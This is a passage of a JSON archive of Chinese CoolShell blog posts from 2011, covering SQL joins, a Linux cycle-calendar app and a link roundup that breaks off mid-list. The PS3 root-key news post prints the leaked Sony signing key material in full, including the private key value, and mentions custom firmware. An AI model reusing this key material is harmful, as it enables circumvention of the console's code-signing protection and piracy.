，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2735.html\"><img alt=\"HTML5 和 Flash 之争\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2735.html\">HTML5 和 Flash 之争</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-10 Sony PS3 Root Key 被破解.html",
    "content": "<html><body><p>著名的黑客George “GeoHot” Hotz（其也帮助破解了iPhone）宣称破解了Sony P3的root key（也称front door key），并将这个key公布于 <a href=\"http://www.geohot.com/\" target=\"_blank\">http://www.geohot.com/</a> （墙）。不但发布了root key，还做了一个hello world。Youtube上也有一个相关的视频：<a href=\"http://www.youtube.com/watch?v=UkLSXsCKDkg\" target=\"_blank\">http://www.youtube.com/watch?v=UkLSXsCKDkg</a></p>\n<pre class=\"EnlighterJSRAW\">erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1B\nriv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4D\npub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19\n R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17\n n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1\n K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8D\n Da: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70</pre>\n<p>之所以叫“front door key”，其是相对于“back door” 而言，传统的破解一般是通过软件的某个 bug或是后门来破解。而这次的PS3走的是前门，这就是说——这已经不是破解了，这是完全意义上的PS3正版了。</p>\n<p>为什么呢。这和PS3的开发有关。其很像Symbian 的Sign，也就是说，游戏开发商要想让他们的游戏在PS3上发布，其需要把游戏通过法律流程交给Sony，然后被Sign上一个key，就可以成为正式的发行版并可在所有用户的PS3上运行了。所以，这个key是PS3到今天没有盗版游戏的关键。不过随着这个key被找到，这意味着任何人都可以在PS3上发布软件了。</p>\n<p>最要命的是，这个Key和PS3的硬件绑定，也就是说，<strong>如果Sony要阻止这个事的话，无法通过升级firmware完成，必需更换硬件！！</strong></p>\n<p><strong><span id=\"more-3453\"></span><br/>\n</strong></p>\n<p>目前，SONY正式对PS3的Root Key被公布导致可以进行自制系统开发的问题<a href=\"http://www.next-gen.biz/news/sony-responds-to-ps3-hacks\" target=\"_blank\">进行回应</a>。SONY表示目前正在进行相关调查，问题会通过网络更新进行解决，具体情况涉及信息安全问题不便透露。</p>\n<p>不过之前黑客集团表示除非Sony出新硬件否则无法修正这一情况，Sony应该会接受这一事实。</p>\n<p>而最新的<a href=\"http://www.ps3-hacks.com/2011/01/04/ps3-custom-firmware-creator-released-permanently-add-install-pkgs-to-the-xmb/\" target=\"_blank\">PS3 Custom Firmware Creator</a>应该是把PS3送上断头台了。而且已经证实，3.55的玩友可以安装3.55的CFW自制系统，安裝之后可以正常运行正版游戏，可以通过选项菜单中多出的pkg安裝功能，安裝u盘里通过电脑下载的游戏更新补丁或是游戏的试玩版。<strong>现在的PS3就像一个PC机，等待着各种不受Sony控制的软件的到来……</strong></p>\n<p>（另：Freebsd<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2011-January/022104.html\">宣布</a>支持索尼的游戏机PS3，支持的型号是索尼Playstation 3 Fat版，固件版本号&lt; 3.21 （最新的固件版本是<a href=\"http://us.playstation.com/support/systemupdates/ps3/index.htm\">3.55版</a>），必须能网络启动。不过，因为黑客已经破译了root key，并允许创作自制固件，因此未来Freebsd或能支持所有版本的PS3。）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1857.html\"><img alt=\"C 语言整型谜题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1857.html\">C 语言整型谜题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2043.html\"><img alt=\"PI小数点位数的新纪录\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2043.html\">PI小数点位数的新纪录</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1432.html\"><img alt=\"编译vim解决中文支持\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1432.html\">编译vim解决中文支持</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/85.html\"><img alt=\"Linux Distribution Timeline\" height=\"150\" src=\"../wp-content/uploads/2009/03/gldt92-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/85.html\">Linux Distribution Timeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3453.html\">Sony PS3 Root Key 被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-11 图解SQL的Join.html",
    "content": "<html><body><p>对于SQL的Join，在学习起来可能是比较乱的。我们知道，<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)\" target=\"_blank\">SQL的Join语法</a>有很多inner的，有outer的，有left的，有时候，对于Select出来的结果集是什么样子有点不是很清楚。Coding Horror上有<a href=\"http://www.codinghorror.com/blog/2007/10/a-visual-explanation-of-sql-joins.html\" target=\"_blank\">一篇文章</a>（实在不清楚为什么Coding Horror也被墙）通过 文氏图 <a href=\"http://en.wikipedia.org/wiki/Venn_diagram\" target=\"_blank\">Venn diagrams</a> 解释了SQL的Join。我觉得清楚易懂，转过来。</p>\n<p>假设我们有两张表。</p>\n<ul>\n<li><strong>Table A</strong> 是左边的表。</li>\n<li><strong>Table B</strong> 是右边的表。</li>\n</ul>\n<p>其各有四条记录，其中有两条记录是相同的，如下所示：</p>\n<pre>id name       id  name\n-- ----       --  ----\n1  <span style=\"color: red;\">Pirate</span>     1   Rutabaga\n2  Monkey     2   <span style=\"color: red;\">Pirate</span>\n3  <span style=\"color: red;\">Ninja</span>      3   Darth Vader\n4  Spaghetti  4   <span style=\"color: red;\">Ninja</span></pre>\n<p>下面让我们来看看不同的Join会产生什么样的结果。</p>\n<p><span id=\"more-3463\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>INNER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid  name       id   name\n--  ----       --   ----\n1   Pirate     2    Pirate\n3   Ninja      4    Ninja</pre>\n<p><strong>Inner join</strong><br/>\n产生的结果集中，是A和B的交集。</p></td>\n<td><img alt=\"Venn diagram of SQL inner join\" border=\"0\" src=\"../wp-content/uploads/2011/01/Inner_Join.png\"/></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>FULL OUTER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid    name       id    name\n--    ----       --    ----\n1     Pirate     2     Pirate\n2     Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n3     Ninja      4     Ninja\n4     Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       1     Rutabaga\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       3     Darth Vader</pre>\n<p><strong>Full outer join</strong> 产生A和B的并集。但是需要注意的是，对于没有匹配的记录，则会以null做为值。</p></td>\n<td><img alt=\"Venn diagram of SQL cartesian join\" border=\"0\" height=\"197\" src=\"../wp-content/uploads/2011/01/Full_Outer_Join.png\" width=\"300\"/></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>LEFT OUTER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid  name       id    name\n--  ----       --    ----\n1   Pirate     2     Pirate\n2   Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n3   Ninja      4     Ninja\n4   Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span></pre>\n<p><strong>Left outer join</strong> 产生表A的完全集，而B表中匹配的则有值，没有匹配的则以null值取代。</p></td>\n<td><img alt=\"Venn diagram of SQL left join\" border=\"0\" src=\"../wp-content/uploads/2011/01/Left_Outer_Join.png\"/></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\nLEFT OUTER JOIN TableB\nON TableA.name = TableB.name\n<strong>WHERE TableB.id IS null</strong> \n\nid  name       id     name\n--  ----       --     ----\n2   Monkey     <span style=\"color: gray;\">null</span>   <span style=\"color: gray;\">null</span>\n4   Spaghetti  <span style=\"color: gray;\">null</span>   <span style=\"color: gray;\">null</span></pre>\n<p>产生在A表中有而在B表中没有的集合。</p></td>\n<td><img alt=\"join-left-outer.png\" border=\"0\" src=\"../wp-content/uploads/2011/01/Left_Out_Join_2.png\"/></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\nFULL OUTER JOIN TableB\nON TableA.name = TableB.name\n<strong>WHERE TableA.id IS null\nOR TableB.id IS null\n</strong>\nid    name       id    name\n--    ----       --    ----\n2     Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n4     Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       1     Rutabaga\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       3     Darth Vader</pre>\n<p>产生A表和B表都没有出现的数据集。</p></td>\n<td><img alt=\"join-outer.png\" border=\"0\" src=\"../wp-content/uploads/2011/01/Full_Outer_Join_2.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p>还需要注册的是我们还有一个是“交差集” <strong>cross join</strong>, 这种Join没有办法用文式图表示，因为其就是把表A和表B的数据进行一个N*M的组合，即笛卡尔积。表达式如下：</p>\n<pre>SELECT * FROM TableA\n<strong>CROSS JOIN</strong> TableB</pre>\n<p>这个笛卡尔乘积会产生 4 x 4 = 16 条记录，一般来说，我们很少用到这个语法。但是我们得小心，如果不是使用嵌套的select语句，一般系统都会产生笛卡尔乘积然再做过滤。这是对于性能来说是非常危险的，尤其是表很大的时候。</p>\n<p><em><strong>更新:2014年3月30日</strong></em></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11371\" height=\"472\" src=\"../wp-content/uploads/2011/01/SQL-Join.jpg\" width=\"600\"/></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3433.html\"><img alt=\"6个有用的MySQL语句\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1957.html\"><img alt=\"Web程序的最佳测试数据\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-17 Linux的cycle日历（你懂的）.html",
    "content": "<html><body><p>这是一个开源项目：<a href=\"http://cycle.sourceforge.net/\" target=\"_blank\">http://cycle.sourceforge.net/</a>，其是用python写的。在项目的主页上说，这是一个给妇女用的日历程序，叫cycle，周期，给妇女的，我不多说了，你懂的。下面是一些介绍（请大家注意学习相关的英文单词）</p>\n<p>当然，这个小程序不单单只是查看妇女的“周期”（menstruation），其还提供了以下的功能：</p>\n<ul>\n<li>第一次的周期 – 在日历上显示为粉色。menstruation周期长度由用户输入的六次周期取平均值确定。</li>\n<li>排卵期（Ovulation day）- 在日历上显示为亮绿色，</li>\n<li>受精期 （Fertile period）- 在日历上显示为绿色</li>\n<li>安全期（Safe Sex）</li>\n<li>预产期（Date of birth）</li>\n<li>还允许你记一些notes – 医生建议你服用一些荷尔蒙避孕药（hormonal contraceptive）</li>\n</ul>\n<p>下面是屏幕截图 ——</p>\n<p style=\"text-align: center;\"><a href=\"http://cycle.sourceforge.net/scr1.png\"><img alt=\"Screenshoot\" border=\"0\" height=\"165\" src=\"http://cycle.sourceforge.net/scr1_m.png\" width=\"250\"/></a></p>\n<p style=\"text-align: left;\">注意以下的免责条款：</p>\n<ul>\n<li>本程序并不能成为一种避孕的方法。</li>\n<li>本程序也不能阻止各种性传染病，如：AIDS</li>\n<li>本程序更不能取代你的妇科医生。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3489.html\">Linux的cycle日历（你懂的）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-18 一些有意思的网站和贴子.html",
    "content": "<html><body><p>各位朋友，又到了介绍各种杂项的时候了，正如以前的<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这篇</a>和<a href=\"https://coolshell.cn/articles/3437.html\" target=\"_blank\">这篇</a>文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。</p>\n<ul>\n<li>首先是<a href=\"http://online.wsj.com/article/SB10001424052748704723104576062173458318658.html?mod=WSJ_hps_sections_careerjournal#articleTabs%3Darticle\" target=\"_blank\">华尔街的一篇报道</a>，2011年最好和最不好的工作，其引用了<a href=\"http://careercast.com/\" target=\"_blank\">CareerCast.com</a>的数据，其列出了<a href=\"http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html\" target=\"_blank\">100个工作种类</a>，并根据薪资、工作环境、工作鸭梨、体力消耗和就业前景做了一个排序。结果<strong>排第一位的是“软件工程师”</strong>，其理由是：高科技产品的需求呈爆炸式增长，以及人们对iPod、平板电脑、和其它科技产品应用软件的喜好，软件工程师被评为最佳职业。软件工程师有弹性工作时间，可以在家办公，而且每个月都有猎头找来。而最差是的则是码头工人。</li>\n</ul>\n<div>\n<div style=\"text-align: center;\"><a href=\"http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html\"><img alt=\"[bestjobspromo]\" border=\"0\" height=\"174\" hspace=\"0\" src=\"http://si.wsj.net/public/resources/images/OB-LP754_bestjo_D_20110104181820.jpg\" vspace=\"0\" width=\"262\"/></a></div>\n</div>\n<ul>\n<li>接下来是一个叫<a href=\"http://www.theserverside.com/news/thread.tss?track=NL-461&amp;ad=808081&amp;thread_id=61622&amp;asrc=EM_NLN_13145929&amp;uid=2780877\" target=\"_blank\">“Java pass by value”的长贴</a>，楼主说有一天在LinkedIn.com上看到了Java Group里有人讨论Java是pass by value的，长达240+贴子。贴子里说，如果你使用Java的原始类型如int, long，就是传值，如果你用object, array，其实传的是一个引用的拷贝，所以，Java是传值的。呵呵，你觉得有道理吗？于是，成就了这个大讨论战。<a href=\"http://www.reddit.com/r/programming/comments/f1d7r/huge_war_over_whether_java_is_pass_by_reference/\" target=\"_blank\">reddit.com上也有N多的回贴</a>。有空可以看看。</li>\n</ul>\n<p><span id=\"more-3480\"></span></p>\n<ul>\n<li>然后是两个网站，不知道你是否还记得我们介绍的那个<a href=\"https://coolshell.cn/articles/2065.html\" rel=\"bookmark\" target=\"_blank\">Windows 3.1的Web网站</a>，用Web来实现一切看来是迟早的问题。下面，让我们来看两个网站：\n<ul>\n<li>第一个是仿MS-DOS的个人网站——<a href=\"http://stopwilson.com/\" target=\"_blank\">http://stopwilson.com/</a></li>\n</ul>\n</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/01/msdos_website.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-3482\" height=\"446\" src=\"../wp-content/uploads/2011/01/msdos_website.jpg\" title=\"msdos_website\" width=\"650\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2011/01/Javascript_ipad.jpg\"></a></p>\n<ul>\n<li>\n<ul>\n<li>第二个是仿iPad的网站——<a href=\"http://alexw.me/ipad/\" target=\"_blank\">http://alexw.me/ipad/</a></li>\n</ul>\n</li>\n</ul>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"336\" src=\"../wp-content/uploads/2011/01/Javascript_ipad.jpg\" title=\"Javascript ipad\" width=\"506\"/></p>\n<p style=\"padding-left: 60px;\">如果以后的上网设备必然是以移动为主，那么Web开发中的HTML+ Javascript将有可能成为最所有应用都需要去支持的东西。</p>\n<ul>\n<li>说到Web开发，表单提交功能是每个网站都会最到的事情。这里有一篇文章告诉你了如何增强表单的可用性。非常不错，Web程序员可以前往一读：<a href=\"http://sixrevisions.com/user-interface/10-tips-for-optimizing-web-form-submission-usability/\" target=\"_blank\">http://sixrevisions.com/user-interface/10-tips-for-optimizing-web-form-submission-usability/</a></li>\n</ul>\n<div>\n<ul>\n<li>接下来，向大家介绍一个开源项目——TeleHash，其基于<a href=\"http://en.wikipedia.org/wiki/Kademlia\">Kademlia</a>在<a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\" target=\"_blank\">DHT网络</a>上以P2P的方式用<a href=\"http://en.wikipedia.org/wiki/User_Datagram_Protocol\" target=\"_blank\">UDP协议</a>来发送一些<a href=\"http://www.json.org/\" target=\"_blank\">JSON数据</a>。于是你的应用程序就可以使用这个库来开发你的应用了。其源码在：<a href=\"https://github.com/quartzjer/TeleHash\" target=\"_blank\">https://github.com/quartzjer/TeleHash</a>，它的口号是：JSON + UDP + DHT = Freedom</li>\n</ul>\n</div>\n<ul>\n<li>如果你想使用autotools（autoconf和automake）写Makefile，这里有一个非常不错的教程：<a href=\"http://www.lrde.epita.fr/~adl/autotools.html\" target=\"_blank\">http://www.lrde.epita.fr/~adl/autotools.html</a></li>\n</ul>\n<ul>\n<li>不知道大家知不知道微软xbox 360上的<a href=\"http://www.xbox.com/en-US/kinect\" target=\"_blank\">Kinect</a>？其是XBox的一个硬件插件，有点类似于Wii，不过它的强大之处在于，你只需要用你的肢体动作就可以玩游戏了，不需要手上拿个什么。现在，几乎全世界的程序员都在hack这个东东，有人还用他玩WoW，也是强大。这里有一个教程教你如何通过<a href=\"http://openkinect.org/\" target=\"_blank\">openkinect.org</a>和C#开发点自己的小玩意。</li>\n</ul>\n<ul>\n<li>相试着写一个最简单的操作系统吗？这里有<a href=\"http://mikeos.berlios.de/write-your-own-os.html\" target=\"_blank\">一篇教程</a>教你用x86的汇编做一个操作系统，如果你想走得更远，可以看看<a href=\"http://mikeos.berlios.de/\" target=\"_blank\">MikeOS project</a>。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://mikeos.berlios.de/\"><img alt=\"\" class=\"aligncenter\" height=\"280\" src=\"http://mikeos.berlios.de/images/shot-3.png\" title=\"MikeOS\" width=\"504\"/></a></p>\n<ul>\n<li>下面是一个HTML5 Canvas Cheat Sheet（点击看大图），关于更多的Cheat Sheet，你可以看看《<a href=\"https://coolshell.cn/articles/1566.html\" target=\"_blank\">程序员小抄大全</a>》《<a href=\"https://coolshell.cn/articles/2964.html\" rel=\"bookmark\" target=\"_blank\">25个jQuery的编程小抄</a>》</li>\n</ul>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3492\" style=\"width: 300px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet.png\"><img alt=\"HTML5 Canvas Cheat Sheet\" class=\"size-medium wp-image-3492\" height=\"221\" src=\"../wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet-300x221.png\" title=\"HTML5 Canvas Cheat Sheet\" width=\"300\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3492\">HTML5 Canvas Cheat Sheet</figcaption></figure>\n<ul>\n<li><a href=\"http://monodroid.net/\" target=\"_blank\">Mono开始支持Android</a>。Mono是一个由Novell公司（先前是Ximian）主持的项目。该项目的目标是创建一系列符合ECMA标准（Ecma-334和Ecma-335）的.NET工具，包括C#编译器和共通語言執行平臺。与微软的.NET 